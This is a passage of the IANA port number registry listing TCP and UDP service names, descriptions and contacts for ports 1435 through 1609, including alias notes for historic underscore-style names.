ibm-cics 1435 tcp IBM CICS [Geoff_Meacock] [Geoff_Meacock]
ibm-cics 1435 udp IBM CICS [Geoff_Meacock] [Geoff_Meacock]
saism 1436 tcp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 2
saism 1436 udp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 2
tabula 1437 tcp Tabula [Marcelo_Einhorn] [Marcelo_Einhorn]
tabula 1437 udp Tabula [Marcelo_Einhorn] [Marcelo_Einhorn]
eicon-server 1438 tcp Eicon Security Agent/Server
eicon-server 1438 udp Eicon Security Agent/Server
eicon-x25 1439 tcp Eicon X25/SNA Gateway
eicon-x25 1439 udp Eicon X25/SNA Gateway
eicon-slp 1440 tcp Eicon Service Location [Pat_Calhoun] [Pat_Calhoun]
Protocol
eicon-slp 1440 udp Eicon Service Location [Pat_Calhoun] [Pat_Calhoun]
Protocol
cadis-1 1441 tcp Cadis License Management
cadis-1 1441 udp Cadis License Management
cadis-2 1442 tcp Cadis License Management [Todd_Wichers] [Todd_Wichers]
cadis-2 1442 udp Cadis License Management [Todd_Wichers] [Todd_Wichers]
ies-lm 1443 tcp Integrated Engineering [David_Tong] [David_Tong]
Software
ies-lm 1443 udp Integrated Engineering [David_Tong] [David_Tong]
Software
marcam-lm 1444 tcp Marcam License Management [Therese_Hunt] [Therese_Hunt]
marcam-lm 1444 udp Marcam License Management [Therese_Hunt] [Therese_Hunt]
proxima-lm 1445 tcp Proxima License Manager
proxima-lm 1445 udp Proxima License Manager
ora-lm 1446 tcp Optical Research Associates
License Manager
ora-lm 1446 udp Optical Research Associates
License Manager
apri-lm 1447 tcp Applied Parallel Research LM [Jim_Dillon] [Jim_Dillon]
apri-lm 1447 udp Applied Parallel Research LM [Jim_Dillon] [Jim_Dillon]
oc-lm 1448 tcp OpenConnect License Manager [Sue_Barnhill] [Sue_Barnhill]
oc-lm 1448 udp OpenConnect License Manager [Sue_Barnhill] [Sue_Barnhill]
peport 1449 tcp PEport [Qentin_Neill] [Qentin_Neill]
peport 1449 udp PEport [Qentin_Neill] [Qentin_Neill]
dwf 1450 tcp Tandem Distributed Workbench [Mike_Bert] [Mike_Bert]
Facility
dwf 1450 udp Tandem Distributed Workbench [Mike_Bert] [Mike_Bert]
Facility
infoman 1451 tcp IBM Information Management [Karen_Burns] [Karen_Burns]
infoman 1451 udp IBM Information Management [Karen_Burns] [Karen_Burns]
gtegsc-lm 1452 tcp GTE Government Systems [Mike_Gregory] [Mike_Gregory]
License Man
gtegsc-lm 1452 udp GTE Government Systems [Mike_Gregory] [Mike_Gregory]
License Man
genie-lm 1453 tcp Genie License Manager [Paul_Applegate] [Paul_Applegate]
genie-lm 1453 udp Genie License Manager [Paul_Applegate] [Paul_Applegate]
interHDL License Manager
interhdl-elmd 1454 tcp IANA assigned this [Eli_Sternheim] [Eli_Sternheim]
well-formed service name as
a replacement for
"interhdl_elmd".
This entry is an alias to "interhdl-elmd". This entry is now
interhdl_elmd 1454 tcp interHDL License Manager [Eli_Sternheim] [Eli_Sternheim] historic, not usable for use with many common service
discovery mechanisms.
interHDL License Manager
interhdl-elmd 1454 udp IANA assigned this [Eli_Sternheim] [Eli_Sternheim]
well-formed service name as
a replacement for
"interhdl_elmd".
This entry is an alias to "interhdl-elmd". This entry is now
interhdl_elmd 1454 udp interHDL License Manager [Eli_Sternheim] [Eli_Sternheim] historic, not usable for use with many common service
discovery mechanisms.
esl-lm 1455 tcp ESL License Manager [Abel_Chou] [Abel_Chou]
esl-lm 1455 udp ESL License Manager [Abel_Chou] [Abel_Chou]
dca 1456 tcp DCA [Jeff_Garbers_2] [Jeff_Garbers_2]
dca 1456 udp DCA [Jeff_Garbers_2] [Jeff_Garbers_2]
valisys-lm 1457 tcp Valisys License Manager [Leslie_Lincoln] [Leslie_Lincoln]
valisys-lm 1457 udp Valisys License Manager [Leslie_Lincoln] [Leslie_Lincoln]
nrcabq-lm 1458 tcp Nichols Research Corp. [Howard_Cole] [Howard_Cole]
nrcabq-lm 1458 udp Nichols Research Corp. [Howard_Cole] [Howard_Cole]
proshare1 1459 tcp Proshare Notebook
Application
proshare1 1459 udp Proshare Notebook
Application
proshare2 1460 tcp Proshare Notebook [Robin_Kar] [Robin_Kar]
Application
proshare2 1460 udp Proshare Notebook [Robin_Kar] [Robin_Kar]
Application
IBM Wireless LAN
ibm-wrless-lan 1461 tcp IANA assigned this [flanne] [flanne]
well-formed service name as
a replacement for
"ibm_wrless_lan".
This entry is an alias to "ibm-wrless-lan". This entry is now
ibm_wrless_lan 1461 tcp IBM Wireless LAN [flanne] [flanne] historic, not usable for use with many common service
discovery mechanisms.
IBM Wireless LAN
ibm-wrless-lan 1461 udp IANA assigned this [flanne] [flanne]
well-formed service name as
a replacement for
"ibm_wrless_lan".
This entry is an alias to "ibm-wrless-lan". This entry is now
ibm_wrless_lan 1461 udp IBM Wireless LAN [flanne] [flanne] historic, not usable for use with many common service
discovery mechanisms.
world-lm 1462 tcp World License Manager [Michael_S_Amirault] [Michael_S_Amirault]
world-lm 1462 udp World License Manager [Michael_S_Amirault] [Michael_S_Amirault]
nucleus 1463 tcp Nucleus [Venky_Nagar] [Venky_Nagar]
nucleus 1463 udp Nucleus [Venky_Nagar] [Venky_Nagar]
MSL License Manager
msl-lmd 1464 tcp IANA assigned this [Matt_Timmermans] [Matt_Timmermans]
well-formed service name as
a replacement for "msl_lmd".
This entry is an alias to "msl-lmd". This entry is now
msl_lmd 1464 tcp MSL License Manager [Matt_Timmermans] [Matt_Timmermans] historic, not usable for use with many common service
discovery mechanisms.
MSL License Manager
msl-lmd 1464 udp IANA assigned this [Matt_Timmermans] [Matt_Timmermans]
well-formed service name as
a replacement for "msl_lmd".
This entry is an alias to "msl-lmd". This entry is now
msl_lmd 1464 udp MSL License Manager [Matt_Timmermans] [Matt_Timmermans] historic, not usable for use with many common service
discovery mechanisms.
pipes 1465 tcp Pipes Platform [Mark_Farlin] [Mark_Farlin]
pipes 1465 udp Pipes Platform [Mark_Farlin] [Mark_Farlin]
oceansoft-lm 1466 tcp Ocean Software License [Randy_Leonard] [Randy_Leonard]
Manager
oceansoft-lm 1466 udp Ocean Software License [Randy_Leonard] [Randy_Leonard]
Manager
csdmbase 1467 tcp CSDMBASE
csdmbase 1467 udp CSDMBASE
csdm 1468 tcp CSDM [Robert_Stabl] [Robert_Stabl]
csdm 1468 udp CSDM [Robert_Stabl] [Robert_Stabl]
aal-lm 1469 tcp Active Analysis Limited [David_Snocken] [David_Snocken]
License Manager
aal-lm 1469 udp Active Analysis Limited [David_Snocken] [David_Snocken]
License Manager
uaiact 1470 tcp Universal Analytics [Mark_R_Ludwig] [Mark_R_Ludwig]
uaiact 1470 udp Universal Analytics [Mark_R_Ludwig] [Mark_R_Ludwig]
csdmbase 1471 tcp csdmbase
csdmbase 1471 udp csdmbase
csdm 1472 tcp csdm [Robert_Stabl] [Robert_Stabl]
csdm 1472 udp csdm [Robert_Stabl] [Robert_Stabl]
openmath 1473 tcp OpenMath [Garth_Mayville] [Garth_Mayville]
openmath 1473 udp OpenMath [Garth_Mayville] [Garth_Mayville]
telefinder 1474 tcp Telefinder [Jim_White] [Jim_White]
telefinder 1474 udp Telefinder [Jim_White] [Jim_White]
taligent-lm 1475 tcp Taligent License Manager [Mark_Sapsford] [Mark_Sapsford]
taligent-lm 1475 udp Taligent License Manager [Mark_Sapsford] [Mark_Sapsford]
clvm-cfg 1476 tcp clvm-cfg [Eric_Soderberg] [Eric_Soderberg]
clvm-cfg 1476 udp clvm-cfg [Eric_Soderberg] [Eric_Soderberg]
ms-sna-server 1477 tcp ms-sna-server
ms-sna-server 1477 udp ms-sna-server
ms-sna-base 1478 tcp ms-sna-base [Gordon_Mangione] [Gordon_Mangione]
ms-sna-base 1478 udp ms-sna-base [Gordon_Mangione] [Gordon_Mangione]
dberegister 1479 tcp dberegister [Brian_Griswold] [Brian_Griswold]
dberegister 1479 udp dberegister [Brian_Griswold] [Brian_Griswold]
pacerforum 1480 tcp PacerForum [Peter_Caswell] [Peter_Caswell]
pacerforum 1480 udp PacerForum [Peter_Caswell] [Peter_Caswell]
airs 1481 tcp AIRS [Bruce_Wilson] [Bruce_Wilson]
airs 1481 udp AIRS [Bruce_Wilson] [Bruce_Wilson]
miteksys-lm 1482 tcp Miteksys License Manager [Shane_McRoberts] [Shane_McRoberts]
miteksys-lm 1482 udp Miteksys License Manager [Shane_McRoberts] [Shane_McRoberts]
afs 1483 tcp AFS License Manager [Michael_R_Pizolato] [Michael_R_Pizolato]
afs 1483 udp AFS License Manager [Michael_R_Pizolato] [Michael_R_Pizolato]
confluent 1484 tcp Confluent License Manager [James_Greenfiel] [James_Greenfiel]
confluent 1484 udp Confluent License Manager [James_Greenfiel] [James_Greenfiel]
lansource 1485 tcp LANSource [Christopher_Wells] [Christopher_Wells]
lansource 1485 udp LANSource [Christopher_Wells] [Christopher_Wells]
nms_topo_serv
nms-topo-serv 1486 tcp IANA assigned this [Sylvia_Siu] [Sylvia_Siu]
well-formed service name as
a replacement for
"nms_topo_serv".
This entry is an alias to "nms-topo-serv". This entry is now
nms_topo_serv 1486 tcp nms_topo_serv [Sylvia_Siu] [Sylvia_Siu] historic, not usable for use with many common service
discovery mechanisms.
nms_topo_serv
nms-topo-serv 1486 udp IANA assigned this [Sylvia_Siu] [Sylvia_Siu]
well-formed service name as
a replacement for
"nms_topo_serv".
This entry is an alias to "nms-topo-serv". This entry is now
nms_topo_serv 1486 udp nms_topo_serv [Sylvia_Siu] [Sylvia_Siu] historic, not usable for use with many common service
discovery mechanisms.
localinfosrvr 1487 tcp LocalInfoSrvr [Brian_Matthews_2] [Brian_Matthews_2]
localinfosrvr 1487 udp LocalInfoSrvr [Brian_Matthews_2] [Brian_Matthews_2]
docstor 1488 tcp DocStor [Brian_Spears] [Brian_Spears]
docstor 1488 udp DocStor [Brian_Spears] [Brian_Spears]
dmdocbroker 1489 tcp dmdocbroker [Razmik_Abnous] [Razmik_Abnous]
dmdocbroker 1489 udp dmdocbroker [Razmik_Abnous] [Razmik_Abnous]
insitu-conf 1490 tcp insitu-conf [Paul_Blacknell] [Paul_Blacknell]
insitu-conf 1490 udp insitu-conf [Paul_Blacknell] [Paul_Blacknell]
Unauthorized
1491 Unassigned 2009-08-05 Use Known on
port 1491
stone-design-1 1492 tcp stone-design-1 [Andrew_Stone] [Andrew_Stone]
stone-design-1 1492 udp stone-design-1 [Andrew_Stone] [Andrew_Stone]
netmap_lm
netmap-lm 1493 tcp IANA assigned this [Phillip_Magson] [Phillip_Magson]
well-formed service name as
a replacement for
"netmap_lm".
This entry is an alias to "netmap-lm". This entry is now
netmap_lm 1493 tcp netmap_lm [Phillip_Magson] [Phillip_Magson] historic, not usable for use with many common service
discovery mechanisms.
netmap_lm
netmap-lm 1493 udp IANA assigned this [Phillip_Magson] [Phillip_Magson]
well-formed service name as
a replacement for
"netmap_lm".
This entry is an alias to "netmap-lm". This entry is now
netmap_lm 1493 udp netmap_lm [Phillip_Magson] [Phillip_Magson] historic, not usable for use with many common service
discovery mechanisms.
ica 1494 tcp ica [John_Richardson] [John_Richardson]
ica 1494 udp ica [John_Richardson] [John_Richardson]
cvc 1495 tcp cvc [Bill_Davidson] [Bill_Davidson]
cvc 1495 udp cvc [Bill_Davidson] [Bill_Davidson]
liberty-lm 1496 tcp liberty-lm [Jim_Rogers] [Jim_Rogers]
liberty-lm 1496 udp liberty-lm [Jim_Rogers] [Jim_Rogers]
rfx-lm 1497 tcp rfx-lm [Bill_Bishop] [Bill_Bishop]
rfx-lm 1497 udp rfx-lm [Bill_Bishop] [Bill_Bishop]
sybase-sqlany 1498 tcp Sybase SQL Any [Dave_Neudoerffer] [Dave_Neudoerffer]
sybase-sqlany 1498 udp Sybase SQL Any [Dave_Neudoerffer] [Dave_Neudoerffer]
fhc 1499 tcp Federico Heinz Consultora [Federico_Heinz] [Federico_Heinz]
fhc 1499 udp Federico Heinz Consultora [Federico_Heinz] [Federico_Heinz]
vlsi-lm 1500 tcp VLSI License Manager [Shue_Lin_Kuo] [Shue_Lin_Kuo]
vlsi-lm 1500 udp VLSI License Manager [Shue_Lin_Kuo] [Shue_Lin_Kuo]
saiscm 1501 tcp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 3
saiscm 1501 udp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 3
shivadiscovery 1502 tcp Shiva [Jonathan_Wenocur] [Jonathan_Wenocur]
shivadiscovery 1502 udp Shiva [Jonathan_Wenocur] [Jonathan_Wenocur]
imtc-mcs 1503 tcp Databeam [Jim_Johnston] [Jim_Johnston]
imtc-mcs 1503 udp Databeam [Jim_Johnston] [Jim_Johnston]
evb-elm 1504 tcp EVB Software Engineering [B_G_Mahesh] [B_G_Mahesh]
License Manager
evb-elm 1504 udp EVB Software Engineering [B_G_Mahesh] [B_G_Mahesh]
License Manager
funkproxy 1505 tcp Funk Software, Inc. [Robert_D_Vincent] [Robert_D_Vincent]
funkproxy 1505 udp Funk Software, Inc. [Robert_D_Vincent] [Robert_D_Vincent]
utcd 1506 tcp Universal Time daemon (utcd) [Walter_Poxon] [Walter_Poxon]
utcd 1506 udp Universal Time daemon (utcd) [Walter_Poxon] [Walter_Poxon]
symplex 1507 tcp symplex [Mike_Turley] [Mike_Turley]
symplex 1507 udp symplex [Mike_Turley] [Mike_Turley]
diagmond 1508 tcp diagmond [Pete_Moscatelli] [Pete_Moscatelli]
diagmond 1508 udp diagmond [Pete_Moscatelli] [Pete_Moscatelli]
robcad-lm 1509 tcp Robcad, Ltd. License Manager [Hindin_Joseph] [Hindin_Joseph]
robcad-lm 1509 udp Robcad, Ltd. License Manager [Hindin_Joseph] [Hindin_Joseph]
mvx-lm 1510 tcp Midland Valley Exploration [Neil_Salter] [Neil_Salter]
Ltd. Lic. Man.
mvx-lm 1510 udp Midland Valley Exploration [Neil_Salter] [Neil_Salter]
Ltd. Lic. Man.
3l-l1 1511 tcp 3l-l1 [Ian_A_Young] [Ian_A_Young]
3l-l1 1511 udp 3l-l1 [Ian_A_Young] [Ian_A_Young]
wins 1512 tcp Microsoft's Windows Internet [Pradeep_Bahl] [Pradeep_Bahl]
Name Service
wins 1512 udp Microsoft's Windows Internet [Pradeep_Bahl] [Pradeep_Bahl]
Name Service
fujitsu-dtc 1513 tcp Fujitsu Systems Business of
America, Inc
fujitsu-dtc 1513 udp Fujitsu Systems Business of
America, Inc
fujitsu-dtcns 1514 tcp Fujitsu Systems Business of [Charles_A_Higgins] [Charles_A_Higgins]
America, Inc
fujitsu-dtcns 1514 udp Fujitsu Systems Business of [Charles_A_Higgins] [Charles_A_Higgins]
America, Inc
ifor-protocol 1515 tcp ifor-protocol [Dr_R_P_Alston] [Dr_R_P_Alston]
ifor-protocol 1515 udp ifor-protocol [Dr_R_P_Alston] [Dr_R_P_Alston]
vpad 1516 tcp Virtual Places Audio data
vpad 1516 udp Virtual Places Audio data
vpac 1517 tcp Virtual Places Audio control
vpac 1517 udp Virtual Places Audio control
vpvd 1518 tcp Virtual Places Video data
vpvd 1518 udp Virtual Places Video data
vpvc 1519 tcp Virtual Places Video control [Avshalom_Houri] [Avshalom_Houri]
vpvc 1519 udp Virtual Places Video control [Avshalom_Houri] [Avshalom_Houri]
atm-zip-office 1520 tcp atm zip office [Wilson_Kwan] [Wilson_Kwan]
atm-zip-office 1520 udp atm zip office [Wilson_Kwan] [Wilson_Kwan]
ncube-lm 1521 tcp nCube License Manager [Maxine_Yuen] [Maxine_Yuen]
ncube-lm 1521 udp nCube License Manager [Maxine_Yuen] [Maxine_Yuen]
ricardo-lm 1522 tcp Ricardo North America [Mike_Flemming] [Mike_Flemming]
License Manager
ricardo-lm 1522 udp Ricardo North America [Mike_Flemming] [Mike_Flemming]
License Manager
cichild-lm 1523 tcp cichild [Andy_Burgess] [Andy_Burgess]
cichild-lm 1523 udp cichild [Andy_Burgess] [Andy_Burgess]
ingreslock 1524 tcp ingres
ingreslock 1524 udp ingres
orasrv 1525 tcp oracle
orasrv 1525 udp oracle
prospero-np 1525 tcp Prospero Directory Service
non-priv
prospero-np 1525 udp Prospero Directory Service
non-priv
pdap-np 1526 tcp Prospero Data Access Prot [B_Clifford_Neuman] [B_Clifford_Neuman]
non-priv
pdap-np 1526 udp Prospero Data Access Prot [B_Clifford_Neuman] [B_Clifford_Neuman]
non-priv
tlisrv 1527 tcp oracle
tlisrv 1527 udp oracle
1528 tcp Reserved
ngr-t 1528 udp NGR transport protocol for [nyantec] [Mikael_Voss] 2016-09-13
mobile ad-hoc networks
coauthor 1529 tcp oracle
coauthor 1529 udp oracle
rap-service 1530 tcp rap-service
rap-service 1530 udp rap-service
rap-listen 1531 tcp rap-listen [Phil_Servita] [Phil_Servita]
rap-listen 1531 udp rap-listen [Phil_Servita] [Phil_Servita]
miroconnect 1532 tcp miroconnect [Michael_Fischer_2] [Michael_Fischer_2]
miroconnect 1532 udp miroconnect [Michael_Fischer_2] [Michael_Fischer_2]
virtual-places 1533 tcp Virtual Places Software [Avshalom_Houri] [Avshalom_Houri]
virtual-places 1533 udp Virtual Places Software [Avshalom_Houri] [Avshalom_Houri]
micromuse-lm 1534 tcp micromuse-lm [Adam_Kerrison] [Adam_Kerrison]
micromuse-lm 1534 udp micromuse-lm [Adam_Kerrison] [Adam_Kerrison]
ampr-info 1535 tcp ampr-info
ampr-info 1535 udp ampr-info
ampr-inter 1536 tcp ampr-inter [Rob_Janssen] [Rob_Janssen]
ampr-inter 1536 udp ampr-inter [Rob_Janssen] [Rob_Janssen]
sdsc-lm 1537 tcp isi-lm [Len_Wanger] [Len_Wanger]
sdsc-lm 1537 udp isi-lm [Len_Wanger] [Len_Wanger]
3ds-lm 1538 tcp 3ds-lm [Keith_Trummel] [Keith_Trummel]
3ds-lm 1538 udp 3ds-lm [Keith_Trummel] [Keith_Trummel]
intellistor-lm 1539 tcp Intellistor License Manager [Ron_Vaughn] [Ron_Vaughn]
intellistor-lm 1539 udp Intellistor License Manager [Ron_Vaughn] [Ron_Vaughn]
rds 1540 tcp rds
rds 1540 udp rds
rds2 1541 tcp rds2 [Sudhakar_Rajamannar] [Sudhakar_Rajamannar]
rds2 1541 udp rds2 [Sudhakar_Rajamannar] [Sudhakar_Rajamannar]
gridgen-elmd 1542 tcp gridgen-elmd [John_R_Chawner] [John_R_Chawner]
gridgen-elmd 1542 udp gridgen-elmd [John_R_Chawner] [John_R_Chawner]
simba-cs 1543 tcp simba-cs [Betsy_Alexander] [Betsy_Alexander]
simba-cs 1543 udp simba-cs [Betsy_Alexander] [Betsy_Alexander]
aspeclmd 1544 tcp aspeclmd [V_Balaji] [V_Balaji]
aspeclmd 1544 udp aspeclmd [V_Balaji] [V_Balaji]
vistium-share 1545 tcp vistium-share [Allison_Carleton] [Allison_Carleton]
vistium-share 1545 udp vistium-share [Allison_Carleton] [Allison_Carleton]
abbaccuray 1546 tcp abbaccuray [John_Wendt] [John_Wendt]
abbaccuray 1546 udp abbaccuray [John_Wendt] [John_Wendt]
laplink 1547 tcp laplink [Michael_Crawford] [Michael_Crawford]
laplink 1547 udp laplink [Michael_Crawford] [Michael_Crawford]
axon-lm 1548 tcp Axon License Manager [Mark_Pearce] [Mark_Pearce]
axon-lm 1548 udp Axon License Manager [Mark_Pearce] [Mark_Pearce]
shivahose 1549 tcp Shiva Hose
shivasound 1549 udp Shiva Sound [Kin_Chan] [Kin_Chan]
3m-image-lm 1550 tcp Image Storage license [J_C_Canessa] [J_C_Canessa]
manager 3M Company
3m-image-lm 1550 udp Image Storage license [J_C_Canessa] [J_C_Canessa]
manager 3M Company
hecmtl-db 1551 tcp HECMTL-DB [Maxime_Belanger] [Maxime_Belanger]
hecmtl-db 1551 udp HECMTL-DB [Maxime_Belanger] [Maxime_Belanger]
pciarray 1552 tcp pciarray [Ron_Folk] [Ron_Folk]
pciarray 1552 udp pciarray [Ron_Folk] [Ron_Folk]
sna-cs 1553 tcp sna-cs [Tony_Sowter] [Tony_Sowter]
sna-cs 1553 udp sna-cs [Tony_Sowter] [Tony_Sowter]
caci-lm 1554 tcp CACI Products Company [Erik_Blume] [Erik_Blume]
License Manager
caci-lm 1554 udp CACI Products Company [Erik_Blume] [Erik_Blume]
License Manager
livelan 1555 tcp livelan [Kaynam_Hedayat] [Kaynam_Hedayat]
livelan 1555 udp livelan [Kaynam_Hedayat] [Kaynam_Hedayat]
VERITAS Private Branch
Exchange
veritas-pbx 1556 tcp IANA assigned this [Stefan_Winkel] [Stefan_Winkel] 2004-04
well-formed service name as
a replacement for
"veritas_pbx".
VERITAS Private Branch This entry is an alias to "veritas-pbx". This entry is now
veritas_pbx 1556 tcp Exchange [Stefan_Winkel] [Stefan_Winkel] 2004-04 historic, not usable for use with many common service
discovery mechanisms.
VERITAS Private Branch
Exchange
veritas-pbx 1556 udp IANA assigned this [Stefan_Winkel] [Stefan_Winkel] 2004-04
well-formed service name as
a replacement for
"veritas_pbx".
VERITAS Private Branch This entry is an alias to "veritas-pbx". This entry is now
veritas_pbx 1556 udp Exchange [Stefan_Winkel] [Stefan_Winkel] 2004-04 historic, not usable for use with many common service
discovery mechanisms.
arbortext-lm 1557 tcp ArborText License Manager [David_J_Wilson] [David_J_Wilson]
arbortext-lm 1557 udp ArborText License Manager [David_J_Wilson] [David_J_Wilson]
xingmpeg 1558 tcp xingmpeg [Howard_Gordon] [Howard_Gordon]
xingmpeg 1558 udp xingmpeg [Howard_Gordon] [Howard_Gordon]
web2host 1559 tcp web2host [Stephen_Johnson] [Stephen_Johnson]
web2host 1559 udp web2host [Stephen_Johnson] [Stephen_Johnson]
asci-val 1560 tcp ASCI-RemoteSHADOW [Benjamin_Rosenberg] [Benjamin_Rosenberg]
asci-val 1560 udp ASCI-RemoteSHADOW [Benjamin_Rosenberg] [Benjamin_Rosenberg]
facilityview 1561 tcp facilityview [Ed_Green] [Ed_Green]
facilityview 1561 udp facilityview [Ed_Green] [Ed_Green]
pconnectmgr 1562 tcp pconnectmgr [Bob_Kaiser] [Bob_Kaiser]
pconnectmgr 1562 udp pconnectmgr [Bob_Kaiser] [Bob_Kaiser]
cadabra-lm 1563 tcp Cadabra License Manager [Arthur_Castonguay] [Arthur_Castonguay]
cadabra-lm 1563 udp Cadabra License Manager [Arthur_Castonguay] [Arthur_Castonguay]
pay-per-view 1564 tcp Pay-Per-View [Brian_Tung] [Brian_Tung]
pay-per-view 1564 udp Pay-Per-View [Brian_Tung] [Brian_Tung]
winddlb 1565 tcp WinDD [Kelly_Sims] [Kelly_Sims]
winddlb 1565 udp WinDD [Kelly_Sims] [Kelly_Sims]
corelvideo 1566 tcp CORELVIDEO [Ming_Poon] [Ming_Poon]
corelvideo 1566 udp CORELVIDEO [Ming_Poon] [Ming_Poon]
jlicelmd 1567 tcp jlicelmd [Christian_Schormann] [Christian_Schormann]
jlicelmd 1567 udp jlicelmd [Christian_Schormann] [Christian_Schormann]
tsspmap 1568 tcp tsspmap [Paul_W_Nelson] [Paul_W_Nelson]
tsspmap 1568 udp tsspmap [Paul_W_Nelson] [Paul_W_Nelson]
ets 1569 tcp ets [Carstein_Seeberg] [Carstein_Seeberg]
ets 1569 udp ets [Carstein_Seeberg] [Carstein_Seeberg]
orbixd 1570 tcp orbixd [Bridget_Walsh] [Bridget_Walsh]
orbixd 1570 udp orbixd [Bridget_Walsh] [Bridget_Walsh]
rdb-dbs-disp 1571 tcp Oracle Remote Data Base [mackin] [mackin]
rdb-dbs-disp 1571 udp Oracle Remote Data Base [mackin] [mackin]
chip-lm 1572 tcp Chipcom License Manager
chip-lm 1572 udp Chipcom License Manager
itscomm-ns 1573 tcp itscomm-ns [Rich_Thompson] [Rich_Thompson]
itscomm-ns 1573 udp itscomm-ns [Rich_Thompson] [Rich_Thompson]
mvel-lm 1574 tcp mvel-lm [David_Bisset] [David_Bisset]
mvel-lm 1574 udp mvel-lm [David_Bisset] [David_Bisset]
oraclenames 1575 tcp oraclenames [P_V_Shivkumar] [P_V_Shivkumar]
oraclenames 1575 udp oraclenames [P_V_Shivkumar] [P_V_Shivkumar]
moldflow-lm 1576 tcp Moldflow License Manager [Lech_Laskowski] [Lech_Laskowski]
moldflow-lm 1576 udp Moldflow License Manager [Lech_Laskowski] [Lech_Laskowski]
hypercube-lm 1577 tcp hypercube-lm [Christopher_McLendon] [Christopher_McLendon]
hypercube-lm 1577 udp hypercube-lm [Christopher_McLendon] [Christopher_McLendon]
jacobus-lm 1578 tcp Jacobus License Manager [Tony_Cleveland] [Tony_Cleveland]
jacobus-lm 1578 udp Jacobus License Manager [Tony_Cleveland] [Tony_Cleveland]
ioc-sea-lm 1579 tcp ioc-sea-lm [Paul_Nelson] [Paul_Nelson]
ioc-sea-lm 1579 udp ioc-sea-lm [Paul_Nelson] [Paul_Nelson]
tn-tl-r1 1580 tcp tn-tl-r1
tn-tl-r2 1580 udp tn-tl-r2 [Ed_Kress] [Ed_Kress]
mil-2045-47001 1581 tcp MIL-2045-47001 [Eric_Whitehill] [Eric_Whitehill]
mil-2045-47001 1581 udp MIL-2045-47001 [Eric_Whitehill] [Eric_Whitehill]
msims 1582 tcp MSIMS [Glenn_Olander] [Glenn_Olander]
msims 1582 udp MSIMS [Glenn_Olander] [Glenn_Olander]
simbaexpress 1583 tcp simbaexpress [Betsy_Alexander] [Betsy_Alexander]
simbaexpress 1583 udp simbaexpress [Betsy_Alexander] [Betsy_Alexander]
tn-tl-fd2 1584 tcp tn-tl-fd2 [Ed_Kress] [Ed_Kress]
tn-tl-fd2 1584 udp tn-tl-fd2 [Ed_Kress] [Ed_Kress]
intv 1585 tcp intv [Dermot_Tynand] [Dermot_Tynand]
intv 1585 udp intv [Dermot_Tynand] [Dermot_Tynand]
ibm-abtact 1586 tcp ibm-abtact [Sandeep_K_Singhal] [Sandeep_K_Singhal]
ibm-abtact 1586 udp ibm-abtact [Sandeep_K_Singhal] [Sandeep_K_Singhal]
pra_elmd
pra-elmd 1587 tcp IANA assigned this [Dennis_Mastin] [Dennis_Mastin]
well-formed service name as
a replacement for
"pra_elmd".
This entry is an alias to "pra-elmd". This entry is now
pra_elmd 1587 tcp pra_elmd [Dennis_Mastin] [Dennis_Mastin] historic, not usable for use with many common service
discovery mechanisms.
pra_elmd
pra-elmd 1587 udp IANA assigned this [Dennis_Mastin] [Dennis_Mastin]
well-formed service name as
a replacement for
"pra_elmd".
This entry is an alias to "pra-elmd". This entry is now
pra_elmd 1587 udp pra_elmd [Dennis_Mastin] [Dennis_Mastin] historic, not usable for use with many common service
discovery mechanisms.
triquest-lm 1588 tcp triquest-lm [Nand_Kumar] [Nand_Kumar]
triquest-lm 1588 udp triquest-lm [Nand_Kumar] [Nand_Kumar]
vqp 1589 tcp VQP [Keith_McCloghrie] [Keith_McCloghrie]
vqp 1589 udp VQP [Keith_McCloghrie] [Keith_McCloghrie]
gemini-lm 1590 tcp gemini-lm [Tony_Sawyer] [Tony_Sawyer]
gemini-lm 1590 udp gemini-lm [Tony_Sawyer] [Tony_Sawyer]
ncpm-pm 1591 tcp ncpm-pm [Ted_Power] [Ted_Power]
ncpm-pm 1591 udp ncpm-pm [Ted_Power] [Ted_Power]
commonspace 1592 tcp commonspace [Rob_Chandhok_2] [Rob_Chandhok_2]
commonspace 1592 udp commonspace [Rob_Chandhok_2] [Rob_Chandhok_2]
mainsoft-lm 1593 tcp mainsoft-lm [Anand_Gangadharan] [Anand_Gangadharan]
mainsoft-lm 1593 udp mainsoft-lm [Anand_Gangadharan] [Anand_Gangadharan]
sixtrak 1594 tcp sixtrak [Red_Lion_Controls] [Denis_Aull] 2014-09-22
sixtrak 1594 udp sixtrak [Red_Lion_Controls] [Denis_Aull] 2014-09-22
radio 1595 tcp radio
radio 1595 udp radio
radio-sm 1596 tcp radio-sm
radio-bc 1596 udp radio-bc [Ken_Chapman] [Ken_Chapman]
orbplus-iiop 1597 tcp orbplus-iiop [Robert_A_Kukura] [Robert_A_Kukura]
orbplus-iiop 1597 udp orbplus-iiop [Robert_A_Kukura] [Robert_A_Kukura]
picknfs 1598 tcp picknfs [John_Lombardo] [John_Lombardo]
picknfs 1598 udp picknfs [John_Lombardo] [John_Lombardo]
simbaservices 1599 tcp simbaservices [Betsy_Alexander] [Betsy_Alexander]
simbaservices 1599 udp simbaservices [Betsy_Alexander] [Betsy_Alexander]
issd 1600 tcp issd
issd 1600 udp issd
aas 1601 tcp aas [Bob_Beard] [Bob_Beard]
aas 1601 udp aas [Bob_Beard] [Bob_Beard]
inspect 1602 tcp inspect [Frank_O_Neill] [Frank_O_Neill]
inspect 1602 udp inspect [Frank_O_Neill] [Frank_O_Neill]
picodbc 1603 tcp pickodbc [John_Lombardo] [John_Lombardo]
picodbc 1603 udp pickodbc [John_Lombardo] [John_Lombardo]
icabrowser 1604 tcp icabrowser [Brad_Pedersen] [Brad_Pedersen]
icabrowser 1604 udp icabrowser [Brad_Pedersen] [Brad_Pedersen]
slp 1605 tcp Salutation Manager
(Salutation Protocol)
slp 1605 udp Salutation Manager
(Salutation Protocol)
slm-api 1606 tcp Salutation Manager (SLM-API) [Tohru_Mori] [Tohru_Mori]
slm-api 1606 udp Salutation Manager (SLM-API) [Tohru_Mori] [Tohru_Mori]
stt 1607 tcp stt [Ryan_Bolz] [Ryan_Bolz]
stt 1607 udp stt [Ryan_Bolz] [Ryan_Bolz]
smart-lm 1608 tcp Smart Corp. License Manager [Connie_Qiu] [Connie_Qiu]
smart-lm 1608 udp Smart Corp. License Manager [Connie_Qiu] [Connie_Qiu]
isysg-lm 1609 tcp isysg-lm [Adam_Curtin] [Adam_Curtin]
isysg-lm 1609 udp isysg-lm [Adam_Curtin] [Adam_Curtin]
